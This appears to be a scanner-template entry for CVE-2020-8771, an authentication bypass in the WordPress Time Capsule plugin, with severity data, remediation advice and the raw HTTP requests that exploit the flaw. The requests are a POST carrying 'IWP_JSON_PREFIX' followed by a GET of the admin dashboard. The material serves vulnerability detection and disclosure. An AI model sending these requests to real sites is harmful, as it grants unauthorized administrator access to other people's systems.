| Title | WordPress Time Capsule < 1.21.16 - Authentication Bypass |
|---|---|
| Author | princechaddha |
| Severity | Critical |
| Impact | An attacker can bypass authentication and gain unauthorized access to the WordPress Time Capsule plugin. |
| Remediation | Update WordPress Time Capsule plugin to version 1.21.16 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.81044 |
| CVE ID | CVE-2020-8771 |
| CWE ID | CWE-287 |
| Tags | cve cve2020 wordpress wp-plugin wptimecapsule vuln |
WordPress Time Capsule plugin before 1.21.16 for WordPress has an authentication bypass. Any request containing IWP_JSON_PREFIX causes the client to be logged in as the first account on the list of administrator accounts.
POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Content-Length: 15
Accept: */*
Connection: close
Accept-Encoding: gzip
IWP_JSON_PREFIX
GET /wp-admin/index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-8771.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-8771.pcap
N/AN/A